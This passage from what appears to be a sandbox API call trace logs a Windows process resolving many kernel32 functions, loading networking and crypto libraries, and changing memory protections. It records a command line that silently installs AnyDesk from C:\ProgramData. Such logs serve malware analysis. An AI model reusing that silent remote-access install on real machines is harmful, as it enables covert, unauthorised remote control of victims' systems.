Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c54a6) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetFilePointer", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c17b1) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="QueryPerformanceCounter", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1705) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ReadFile", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c3e83) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateFileW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c3f0c) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateThread", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c3485) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="Process32FirstW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e8b83) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="Process32NextW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e88da) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateToolhelp32Snapshot", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e7327) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OpenProcess", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1966) returned 0x0 [0170.577] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="MulDiv", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1b30) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateDirectoryW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c4211) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CopyFileW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e82d5) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetFileAttributesA", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c53cc) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TerminateProcess", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd7d2) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetDriveTypeA", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752def45) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="RemoveDirectoryW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75344a6f) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DeleteFileW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c896b) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetProcessId", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ecef4) returned 0x0 [0170.578] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ProcessIdToSessionId", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1275) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCurrentThreadId", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1430) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetSystemTime", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c5a4e) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WaitNamedPipeW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75344b7f) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WriteFile", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1282) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetLastError", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c11a9) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OpenThread", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752d1200) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetModuleHandleW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c3460) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetModuleHandleA", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1245) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetTempPathW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd4ac) returned 0x0 [0170.579] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LocalFree", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c2cec) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetEvent", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c16a5) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ConnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7534469b) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateNamedPipeW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x753446eb) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetOverlappedResult", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dcc51) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DisconnectNamedPipe", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7534477f) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateEventW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c181e) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetUserGeoID", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752eacd0) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetFileInformationByHandle", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c5366) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="RaiseException", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c585e) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetDateFormatW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e34a7) returned 0x0 [0170.580] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetTimeFormatW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752df451) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FileTimeToSystemTime", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c53e4) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetStdHandle", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c516b) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetThreadExecutionState", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752df717) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalSize", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd13f) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetLocalTime", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c5a5e) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetFileAttributesW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd4c7) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetDriveTypeW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c4143) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetLogicalDrives", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c5329) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindFirstChangeNotificationW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd821) returned 0x0 [0170.581] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindCloseChangeNotification", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752defa4) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FindNextChangeNotification", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e5bee) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetLocaleInfoW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c3bf2) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="InterlockedIncrement", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c13e0) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="InterlockedCompareExchange", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1464) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TryEnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x76f32500) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="InitializeCriticalSection", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x76f32c42) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LeaveCriticalSection", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x76f22270) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetThreadPriority", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c326b) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ReleaseSemaphore", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd37b) returned 0x0 [0170.582] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="EnterCriticalSection", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x76f222b0) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateSemaphoreW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dca32) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DeleteCriticalSection", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x76f345f5) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="QueryPerformanceFrequency", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c41a8) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetNativeSystemInfo", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752d106d) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DeviceIoControl", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c31df) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CancelIo", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7533c159) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GlobalMemoryStatusEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ed4b4) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ConvertThreadToFiber", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ec021) returned 0x0 [0170.583] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateFiberEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ebde6) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ConvertFiberToThread", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x75345b20) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SwitchToFiber", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ebc40) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="DeleteFiber", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752eb852) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TlsGetValue", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c11e0) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TlsSetValue", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c14db) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TlsAlloc", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c4965) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FormatMessageW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c45d8) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateMutexW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c4204) returned 0x0 [0170.584] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetEndOfFile", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dce06) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OutputDebugStringA", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752eb297) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="ReleaseMutex", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c111e) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="TlsFree", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c3537) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetModuleFileNameW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c4908) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetEnvironmentVariableW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1b28) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetVolumePathNameW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752d06a6) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetFileTime", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c43bf) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetWaitableTimer", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ebb0f) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CancelWaitableTimer", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x7534467b) returned 0x0 [0170.585] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateWaitableTimerW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ebaab) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WideCharToMultiByte", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c16ed) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="MultiByteToWideChar", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c190e) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="VerSetConditionMask", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x76f792b9) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="VerifyVersionInfoW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd3f3) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetProcessTimes", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd5df) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetExitCodeThread", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dd585) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetSystemInfo", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c4982) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetUserDefaultUILanguage", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c4463) returned 0x0 [0170.586] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OpenEventW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c15b6) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="FreeLibrary", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c3478) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LoadLibraryW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c48e3) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1222) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetThreadContext", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e799c) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetCurrentThread", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c17cc) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SuspendThread", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e7d46) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="MapViewOfFile", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c18d1) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="UnmapViewOfFile", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1806) returned 0x0 [0170.587] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="CreateFileMappingW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c18e9) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="OpenFileMappingW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c174b) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c4317) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LocalAlloc", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c166c) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetFilePointerEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dc7df) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="UnlockFileEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ed584) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetFileSizeEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c599a) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="LockFileEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752ed56c) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetSystemTimeAsFileTime", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c34b9) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="GetComputerNameW", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752cdcc6) returned 0x0 [0170.588] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SetPriorityClass", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752dcf00) returned 0x0 [0170.589] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="SleepEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c1215) returned 0x0 [0170.589] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="WaitForMultipleObjectsEx", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752c197e) returned 0x0 [0170.589] LdrGetProcedureAddress (in: BaseAddress=0x752b0000, Name="QueueUserAPC", Ordinal=0x0, ProcedureAddress=0x16eb88 | out: ProcedureAddress=0x16eb88*=0x752e9f2d) returned 0x0 [0170.589] LoadLibraryA (lpLibFileName="gdiplus.dll") returned 0x71d50000 [0173.761] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x76a60000 [0173.762] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x76860000 [0173.762] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75be0000 [0173.770] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74830000 [0174.277] LoadLibraryA (lpLibFileName="MSIMG32.dll") returned 0x73900000 [0174.484] LoadLibraryA (lpLibFileName="RPCRT4.dll") returned 0x76970000 [0174.484] LoadLibraryA (lpLibFileName="WINHTTP.dll") returned 0x71cf0000 [0175.701] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x74ab0000 [0175.707] LoadLibraryA (lpLibFileName="Secur32.dll") returned 0x74920000 [0175.929] LoadLibraryA (lpLibFileName="SETUPAPI.dll") returned 0x759d0000 [0175.951] LoadLibraryA (lpLibFileName="WINSPOOL.DRV") returned 0x71c40000 [0177.015] VirtualProtect (in: lpAddress=0xa46000, dwSize=0x5f9e00, flNewProtect=0x20, lpflOldProtect=0x16eb84 | out: lpflOldProtect=0x16eb84*=0x40) returned 1 [0178.014] VirtualProtect (in: lpAddress=0x1040000, dwSize=0x4bb000, flNewProtect=0x2, lpflOldProtect=0x16eb84 | out: lpflOldProtect=0x16eb84*=0x40) returned 1 [0178.033] VirtualProtect (in: lpAddress=0x14fb000, dwSize=0xa4c00, flNewProtect=0x4, lpflOldProtect=0x16eb84 | out: lpflOldProtect=0x16eb84*=0x40) returned 1 [0178.035] VirtualProtect (in: lpAddress=0x15a9000, dwSize=0xe00, flNewProtect=0x2, lpflOldProtect=0x16eb84 | out: lpflOldProtect=0x16eb84*=0x40) returned 1 [0178.035] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x16eb3c | out: lpSystemTimeAsFileTime=0x16eb3c*(dwLowDateTime=0x879686d0, dwHighDateTime=0x1d8a8f3)) [0178.035] GetCurrentProcessId () returned 0xe14 [0178.035] GetCurrentThreadId () returned 0xe08 [0178.035] GetTickCount () returned 0x187df6d [0178.036] QueryPerformanceCounter (in: lpPerformanceCount=0x16eb34 | out: lpPerformanceCount=0x16eb34*=2581705178822) returned 1 [0178.036] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x240000 [0178.038] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0178.038] GetProcAddress (hModule=0x752b0000, lpProcName="FlsAlloc") returned 0x752c4ee3 [0178.039] GetProcAddress (hModule=0x752b0000, lpProcName="FlsGetValue") returned 0x752c1252 [0178.039] GetProcAddress (hModule=0x752b0000, lpProcName="FlsSetValue") returned 0x752c41c0 [0178.039] GetProcAddress (hModule=0x752b0000, lpProcName="FlsFree") returned 0x752c354f [0178.040] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x214) returned 0x2407d0 [0178.040] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x752b0000 [0178.040] GetCurrentThreadId () returned 0xe08 [0178.040] GetCommandLineA () returned="c:\\programdata\\anydesk.exe --install C:\\ProgramData\\AnyDesk --silent" [0178.040] GetEnvironmentStringsW () returned 0x5102e8* [0178.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\SysWOW64", cchWideChar=1451, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1451 [0178.041] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x5ab) returned 0x2409f0 [0178.041] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\SysWOW64", cchWideChar=1451, lpMultiByteStr=0x2409f0, cbMultiByte=1451, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Windows\\SysWOW64", lpUsedDefaultChar=0x0) returned 1451 [0178.041] 